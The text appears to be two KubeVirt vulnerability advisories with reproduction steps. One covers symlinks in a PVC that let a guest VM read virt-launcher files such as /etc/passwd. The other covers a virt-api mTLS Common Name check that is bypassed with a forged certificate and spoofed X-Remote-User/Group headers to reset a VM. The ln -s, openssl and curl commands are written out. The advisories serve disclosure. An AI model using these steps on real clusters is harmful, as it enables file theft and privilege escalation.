Summary Short summary of the problem. Make the impact and severity as clear as possible.

Mounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the virt-launcher pod. This is due to erroneous handling of symlinks defined within a PVC.

Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

A vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read.

Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM.

PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.

Consider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks:

yaml The YAML definition of two PVCs that the attacker has access to apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc-arbitrary-container-read-1 spec: accessModes: - ReadWriteMany # suitable for migration (:= RWX) resources: requests: storage: 500Mi --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc-arbitrary-container-read-2 spec: accessModes: - ReadWriteMany # suitable for migration (:= RWX) resources: requests: storage: 500Mi --- The attacker-controlled container used to create the symlinks in the above PVCs apiVersion: v1 kind: Pod metadata: name: dual-pvc-pod spec: containers: - name: app-container image: alpine command: ["/some-vulnerable-app"] volumeMounts: - name: pvc-volume-one mountPath: /mnt/data1 - name: pvc-volume-two mountPath: /mnt/data2 volumes: - name: pvc-volume-one persistentVolumeClaim: claimName: pvc-arbitrary-container-read-1 - name: pvc-volume-two persistentVolumeClaim: claimName: pvc-arbitrary-container-read-2

By default, Minikube's storage controller (hostpath-provisioner) will allocate the claim as a directory on the host node (HostPath). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows:

bash Using the pvc-arbitrary-container-read-1 PVC we want to read the default XML configuration generated by virt-launcher for libvirt. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration.

attacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/defaultarbitrary-container-read.xml disk.img attacker@dual-pvc-pod:/mnt/data1 $ls -l lrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/defaultarbitrary-container-read.xml

With the pvc-arbitrary-container-read-2 we want to read the /etc/passwd of the virt-launcher container which will launch the future VM attacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img attacker@dual-pvc-pod:/mnt/data2 $ls -l lrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd

Of course, these links could potentially be broken as the files, especially defaultarbitrary-container-read.xml, could not exist on the dual-pvc-pod pod's file system. The attacker then deploy the following VM:

yaml arbitrary-container-read.yaml apiVersion: kubevirt.io/v1 kind: VirtualMachine metadata: name: arbitrary-container-read spec: runStrategy: Always template: metadata: labels: kubevirt.io/size: small kubevirt.io/domain: arbitrary-container-read spec: domain: devices: disks: - name: containerdisk disk: bus: virtio - name: pvc-1 disk: bus: virtio - name: pvc-2 disk: bus: virtio - name: cloudinitdisk disk: bus: virtio interfaces: - name: default masquerade: {} resources: requests: memory: 64M networks: - name: default pod: {} volumes: - name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo - name: pvc-1 persistentVolumeClaim: claimName: pvc-arbitrary-container-read-1 - name: pvc-2 persistentVolumeClaim: claimName: pvc-arbitrary-container-read-2 - name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4=

The two PVCs will be mounted as volumes in "filesystem" mode:

From the documentation of the different volume modes, one can infer that if the backing disk.img is not owned by the unprivileged user with UID 107, the VM should fail to mount it. In addition, it's expected that this backing file is in RAW format. While this format can contain pretty much anything, we consider that being able to mount a file from the file system of virt-launcher is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the /etc/passwd and defaultmigration.xml files from the virt-launcher pod's file system:

bash Deploy the VM manifest operator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml virtualmachine.kubevirt.io/arbitrary-container-read created Observe the deployment status operator@minikube:~$ kubectl get vmis NAME AGE PHASE IP NODENAME READY arbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True Initiate a console connection to the running VM operator@minikube:~$ virtctl console arbitrary-container-read

bash Within the arbitrary-container-read VM, inspect the available block devices root@arbitrary-container-read:~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 253:0 0 44M 0 disk |-vda1 253:1 0 35M 0 part / -vda15 253:15 0 8M 0 part vdb 253:16 0 20K 0 disk vdc 253:32 0 512B 0 disk vdd 253:48 0 1M 0 disk Inspect the mounted /etc/passwd of the virt-launcher pod root@arbitrary-container-read:~$ cat /dev/vdc qemu:x:107:107:user:/home/qemu:/bin/bash root:x:0:0:root:/root:/bin/bash Inspect the mounted defaultmigration.xml of the virt-launcher pod root@arbitrary-container-read:~$ cat /dev/vdb | head -n 20 <!-- WARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE OVERWRITTEN AND LOST. Changes to this xml configuration should be made using: virsh edit defaultarbitrary-container-read or other application using the libvirt API. --> <domstatus state='paused' reason='starting up' pid='80'> <monitor path='/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-defaultarbitrary-co/monitor.sock' type='unix'/> <vcpus> </vcpus> <qemuCaps> <flag name='hda-duplex'/> <flag name='piix3-usb-uhci'/> <flag name='piix4-usb-uhci'/> <flag name='usb-ehci'/> <flag name='ich9-usb-ehci1'/> <flag name='usb-redir'/> <flag name='usb-hub'/> <flag name='ich9-ahci'/>

bash operator@minikube:~$ kubectl get pods NAME READY STATUS RESTARTS AGE dual-pvc-pod 1/1 Running 0 20m virt-launcher-arbitrary-container-read-tn4mb 3/3 Running 0 15m Inspect the contents of the /etc/passwd file of the virt-launcher pod attached to the VM operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd qemu:x:107:107:user:/home/qemu:/bin/bash root:x:0:0:root:/root:/bin/bash

Inspect the ownership of the /etc/passwd file of the virt-launcher pod operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd -rw-r--r--. 1 qemu qemu 73 Jan 1 1970 /etc/passwd

Impact What kind of vulnerability is it? Who is impacted?

This vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.

Summary Short summary of the problem. Make the impact and severity as clear as possible.

A flawed implementation of the Kubernetes aggregation layer's authentication flow could enable bypassing RBAC controls.

Details Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

It was discovered that the virt-api component fails to correctly authenticate the client when receiving API requests over mTLS. In particular, it fails to validate the CN (Common Name) field in the received client TLS certificates against the set of allowed values defined in the extension-apiserver-authentication configmap.

The Kubernetes API server proxies received client requests through a component called aggregator (part of K8S's API server), and authenticates to the virt-api server using a certificate signed by the CA specified via the --requestheader-client-ca-file CLI flag. This CA bundle is primarily used in the context of aggregated API servers, where the Kubernetes API server acts as a trusted front-end proxy forwarding requests.

While this is the most common use case, the same CA bundle can also support less common scenarios, such as issuing certificates to authenticating front-end proxies. These proxies can be deployed by organizations to extend Kubernetes' native authentication mechanisms or to integrate with existing identity systems (e.g., LDAP, OAuth2, SSO platforms). In such cases, the Kubernetes API server can trust these external proxies as legitimate authenticators, provided their client certificates are signed by the same CA as the one defined via --requestheader-client-ca-file. Nevertheless, these external authentication proxies are not supposed to directly communicate with aggregated API servers.

Thus, by failing to validate the CN field in the client TLS certificate, the virt-api component may allow an attacker to bypass existing RBAC controls by directly communicating with the aggregated API server, impersonating the Kubernetes API server and its aggregator component.

However, two key prerequisites must be met for successful exploitation:

- The attacker must possess a valid front-end proxy certificate signed by the trusted CA (requestheader-client-ca-file). For example, they can steal the certificate material by compromising a front-end proxy or they could obtain a bundle by exploiting a poorly configured and managed PKI system.

- The attacker must have network access to the virt-api service, such as via a compromised or controlled pod within the cluster.

These conditions significantly reduce the likelihood of exploitation. In addition, the virt-api component acts as a sub-resource server, meaning it only handles requests for specific resources and sub-resources . The handled by it requests are mostly related to the lifecycle of already existing resources.

Nonetheless, if met, the vulnerability could be exploited by a Pod-Level Attacker to escalate privileges, and manipulate existing virtual machine workloads potentially leading to violation of their CIA (Confidentiality, Integrity and Availability).

PoC Complete instructions, including specific configuration details, to reproduce the vulnerability.

Bypassing authentication

In this section, it is demonstrated how an attacker could use a certificate with a different CN field to bypass the authentication of the aggregation layer and perform arbitrary API sub-resource requests to the virt-api server.

The kube-apiserver has been launched with the following CLI flags:

bash admin@minikube:~$ kubectl -n kube-system describe pod kube-apiserver-minikube | grep Command -A 28 Command: kube-apiserver --advertise-address=192.168.49.2 --allow-privileged=true --authorization-mode=Node,RBAC --client-ca-file=/var/lib/minikube/certs/ca.crt --enable-admission-plugins=NamespaceLifecycle,LimitRanger,ServiceAccount,DefaultStorageClass,DefaultTolerationSeconds,NodeRestriction,MutatingAdmissionWebhook,ValidatingAdmissionWebhook,ResourceQuota --enable-bootstrap-token-auth=true --etcd-cafile=/var/lib/minikube/certs/etcd/ca.crt --etcd-certfile=/var/lib/minikube/certs/apiserver-etcd-client.crt --etcd-keyfile=/var/lib/minikube/certs/apiserver-etcd-client.key --etcd-servers=https://127.0.0.1:2379 --kubelet-client-certificate=/var/lib/minikube/certs/apiserver-kubelet-client.crt --kubelet-client-key=/var/lib/minikube/certs/apiserver-kubelet-client.key --kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname --proxy-client-cert-file=/var/lib/minikube/certs/front-proxy-client.crt --proxy-client-key-file=/var/lib/minikube/certs/front-proxy-client.key --requestheader-allowed-names=front-proxy-client --requestheader-client-ca-file=/var/lib/minikube/certs/front-proxy-ca.crt --requestheader-extra-headers-prefix=X-Remote-Extra- --requestheader-group-headers=X-Remote-Group --requestheader-username-headers=X-Remote-User --secure-port=8443 --service-account-issuer=https://kubernetes.default.svc.cluster.local --service-account-key-file=/var/lib/minikube/certs/sa.pub --service-account-signing-key-file=/var/lib/minikube/certs/sa.key --service-cluster-ip-range=10.96.0.0/12 --tls-cert-file=/var/lib/minikube/certs/apiserver.crt --tls-private-key-file=/var/lib/minikube/certs/apiserver.key

By default, Minikube generates a self-signed CA certificate (var/lib/minikube/certs/front-proxy-ca.crt) and use it to sign the certificate used by the aggregator (/var/lib/minikube/certs/front-proxy-client.crt):

bash inspect the self-signed front-proxy-ca certificate admin@minikube:~$ openssl x509 -text -in /var/lib/minikube/certs/front-proxy-ca.crt | grep -e "Issuer:" -e "Subject:" Issuer: CN = front-proxy-ca Subject: CN = front-proxy-ca inspect the front-proxy-client certificate signed with the above cert $ openssl x509 -text -in /var/lib/minikube/certs/front-proxy-client.crt | grep -e "Issuer:" -e "Subject:" Issuer: CN = front-proxy-ca Subject: CN = front-proxy-client

One can also inspect the contents of the extension-apiserver-authentication ConfigMap which is used as a trust anchor by all extension API servers:

bash admin@minikube:~$ kubectl -n kube-system describe configmap extension-apiserver-authentication Name: extension-apiserver-authentication Namespace: kube-system Labels: <none> Annotations: <none>

Data ==== requestheader-client-ca-file: ---- -----BEGIN CERTIFICATE----- MIIDETCCAfmgAwIBAgIIN59KhbrmeJkwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UE AxMOZnJvbnQtcHJveHktY2EwHhcNMjUwNTE4MTQzMTI3WhcNMzUwNTE2MTQzNjI3 WjAZMRcwFQYDVQQDEw5mcm9udC1wcm94eS1jYTCCASIwDQYJKoZIhvcNAQEBBQAD ggEPADCCAQoCggEBALOFlqbM1h3uhTdU9XBZQ6AX8S7M0nT5SgSOSItJrVwjNUv/ t4FAQxnGPW7fhp9A9CeQ92DGLXkm88fgHCgnPJuodKgX8fS7NHfswvXKkgo6C4UO 2AmW0NAkuKMyTmf1tWugot7hj3sGFfIzVSLL73wm1Ci8unTaGKZG01ZZalL1kzz9 ObpmEn7DQvSJd7m5gALP4KPJdkFjoagMI4UlIownARl0h2DX5WAKy0ynGfEBvw+P hEbuVPb+egeUVTn9/4JIqdUw21tUQrmbQqPib8BByueiOYqEerGxZDpLAxh230VG Q6omoyUHjE6SIMBoUnAqAdLbTElVbLWJawlLZzECAwEAAaNdMFswDgYDVR0PAQH/ BAQDAgKkMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFPjiIeJVR7zQBCkpmkEa I+70PxA8MBkGA1UdEQQSMBCCDmZyb250LXByb3h5LWNhMA0GCSqGSIb3DQEBCwUA A4IBAQBiNTe9Sdv9RnKqTyt+Xj0NJrScVOiWPb9noO5XSyBtOy8F8b+ZWAtzc+eI G/g6hpiT7lq3hVtmDNiE6nsP3tywXf0mgg7blRC0l3DxGtSzJZlbahAI4/U5yen7 orKiWiD/ObK2rGbt1toVRyvJzPi3hYjh4mA6GMyFbOC6snopNyM9oj+b/EuTCavf l9WTNn2ZZQ1nYfJsLjOY5k/VtpZw1D/QwYt0u/A83RxEeBvK2aZPsq/nA0jqeHhe VHauDQslkjMw0yrFc1b+Ju4Ly+BwH+Mi7ALUINc8EVncWZyM2L7B4N9XwPSp6YPX fZnj69fu0JWfrq88M+LnKOyfkqi4 -----END CERTIFICATE-----

requestheader-extra-headers-prefix: ---- ["X-Remote-Extra-"]

requestheader-group-headers: ---- ["X-Remote-Group"]

requestheader-username-headers: ---- ["X-Remote-User"]

client-ca-file: ---- -----BEGIN CERTIFICATE----- MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p a3ViZUNBMB4XDTI1MDQxMTE3MzM1N1oXDTM1MDQxMDE3MzM1N1owFTETMBEGA1UE AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALXK ShgBkCDLETxDOSknvWHr7lfnvLtSCLf3VPVwFQNDhLAuFBc2H1MSMqzW6hcyxAVA arQbOe36zxHjHpaP3VlGOEw3CVesPNw6ZToGuhpRq1inQATzeg2yc5w1jtRjLXhb BWp7zCDk1qoHws/fWpaWOe3oQq4ZOA1+bJDsmZ7LjmMtOKHdqftEFz/RGVrn7nKD /WXyGgKgSSNFsDK+Ow6gN6r3b10S82VQ5MwncJuqGO1r036yjwWBU8PEpknc/MhG J/bMdI/w49rxlEAE92OadYRNvC0SDhG0HyPj9BMVx8ZG5X28lZMgq98UzVgu9Try e8tndHqxUaU7rjO7j/8CAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW BBS8FpfTfvGkXDPJEXUoTQs+MwVhPjANBgkqhkiG9w0BAQsFAAOCAQEAFg+gxZ7W zZValzuoXSc3keutB4U0QXFzjOhTVo8D/qsBNkxasdsrYjF2Do/KuGxCefXRZbTe QWX3OFhiiabd0nkGoNTxXoPqwOJHczk+bo8L2Vcva1JAi/tBVNkPULzZilZWgWQz 8d8NgABP7MpHnOJVvAr6BEaS1wpoLzyEMXm6YToZXjDX1ajzyyLonQ9So1Y7aj6v yPQ8OO2TUhkEpzb28/s5Pr33QT8W0/FX3m8+MGSNvWdHNZ+UzXLk3iSfySgjmciZ o4C5yKLZgKFxoFBxY25emr6QDZW+3HicZj6sPsblGlvlBF5wQgF65msgjvmRfTLq JPwzd6yDCMUuZQ== -----END CERTIFICATE-----

requestheader-allowed-names: ---- ["front-proxy-client"]

BinaryData ====

Events: <none>

It is assumed that an attacker has obtained access to a Kubernetes pod and could communicate with virt-api reachable at 10.244.0.6.

bash root@compromised-pod:~$ curl -ks https://10.244.0.6:8443/ | jq . { "paths": [ "/apis", "/openapi/v2", "/apis/subresources.kubevirt.io", "/apis/subresources.kubevirt.io/v1", "/apis/subresources.kubevirt.io", "/apis/subresources.kubevirt.io/v1alpha3" ] }

The virt-api service has two types of endpoints -- authenticated and non-authenticated:

go // pkg/authorizer/authorizer.go

var noAuthEndpoints = map[string]struct{}{ "/": {}, "/apis": {}, "/healthz": {}, "/openapi/v2": {}, // Although KubeVirt does not publish v3, Kubernetes aggregator controller will // handle v2 to v3 (lossy) conversion if KubeVirt returns 404 on this endpoint "/openapi/v3": {}, // The endpoints with just the version are needed for api aggregation discovery // Test with e.g. kubectl get --raw /apis/subresources.kubevirt.io/v1 "/apis/subresources.kubevirt.io/v1": {}, "/apis/subresources.kubevirt.io/v1/version": {}, "/apis/subresources.kubevirt.io/v1/guestfs": {}, "/apis/subresources.kubevirt.io/v1/healthz": {}, "/apis/subresources.kubevirt.io/v1alpha3": {}, "/apis/subresources.kubevirt.io/v1alpha3/version": {}, "/apis/subresources.kubevirt.io/v1alpha3/guestfs": {}, "/apis/subresources.kubevirt.io/v1alpha3/healthz": {}, // the profiler endpoints are blocked by a feature gate // to restrict the usage to development environments "/start-profiler": {}, "/stop-profiler": {}, "/dump-profiler": {}, "/apis/subresources.kubevirt.io/v1/start-cluster-profiler": {}, "/apis/subresources.kubevirt.io/v1/stop-cluster-profiler": {}, "/apis/subresources.kubevirt.io/v1/dump-cluster-profiler": {}, "/apis/subresources.kubevirt.io/v1alpha3/start-cluster-profiler": {}, "/apis/subresources.kubevirt.io/v1alpha3/stop-cluster-profiler": {}, "/apis/subresources.kubevirt.io/v1alpha3/dump-cluster-profiler": {}, }

Each endpoint which is not in this list is considered an authenticated endpoint and requires a valid client certificate to be presented by the caller.

bash trying to reach an API endpoint not in the above list would require client authentication attacker@compromised-pod:~$ curl -ks https://10.244.0.6:8443/v1 request is not authenticated

To illustrate the vulnerability and attack scenario, below is generated a certificate signed by the front-proxy-ca but issued to an entity which is different than front-proxy-client (i.e the certificate has a different CN). Later on, it is assumed that the attacker has obtained access to the certificate bundle:

bash attacker@compromised-pod:~$ openssl ecparam -genkey -name prime256v1 -noout -out rogue-front-proxy.key attacker@compromised-pod:~$ openssl req -new -key rogue-front-proxy.key -out rogue-front-proxy.csr -subj "/CN=crypt0n1t3/O=Quarkslab/C=Fr" attacker@compromised-pod:~$ openssl x509 -req -in rogue-front-proxy.csr -CA front-proxy-ca.crt -CAkey front-proxy-ca.key -CAcreateserial -out rogue-front-proxy.crt -days 365 The authentication will now succeed:

bash attacker@compromised-pod:~$ curl -ks --cert rogue-front-proxy.crt --key rogue-front-proxy.key https://10.244.0.6:8443/v1 a valid user header is required for authorization

To fully exploit the vulnerability, the attacker must also provide valid authentication HTTP headers:

bash attacker@compromised-pod:~$ curl -ks --cert rogue-front-proxy.crt --key rogue-front-proxy.key -H 'X-Remote-User:system:kube-aggregator' -H ' X-Remote-Group: system:masters' https://10.244.0.6:8443/v1 unknown api endpoint: /subresource.kubevirt.io/v1

The virt-api is a sub-resource extension server - it handles only requests for specific resources and sub-resources (requests having URIs prefixed with /apis/subresources.kubevirt.io/v1/). In reality, most of the requests that it accepts are actually executed by the virt-handler component and are related to the lifecycle of a VM.

Hence, virt-handler's API can be seen as aggregated within virt-api's API which in turn transforms it into a proxy.

The endpoints which are handled by virt-api are listed in the Swagger definitions available on GitHub @openapi-spec.

Resetting a Virtual Machine Instance

Consider the following deployed VirtualMachineInstance (VMI) within the default namespace:

yaml apiVersion: kubevirt.io/v1 kind: VirtualMachineInstance metadata: namespace: default name: mishandling-common-name-in-certificate-default spec: domain: devices: disks: - name: containerdisk disk: bus: virtio

- name: cloudinitdisk disk: bus: virtio resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: - name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo - name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4=

An attacker with a stolen external authentication proxy certificate could easily reset (hard reboot), freeze, or remove volumes from the virtual machine.

bash root@compromised-pod:~$ curl -ki --cert rogue-front-proxy.crt --key rogue-front-proxy.key -H 'X-Remote-User: system:kube-aggregator' -H 'X-Remote-Group: system:masters' https://10.244.0.6:8443/apis/subresources.kubevirt.io/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-default/reset -XPUT

HTTP/1.1 200 OK Date: Sun, 18 May 2025 16:43:26 GMT Content-Length: 0

Impact What kind of vulnerability is it? Who is impacted?

The virt-api component may allow an attacker to bypass existing RBAC controls by directly communicating with the aggregated API server, impersonating the Kubernetes API server and its aggregator component.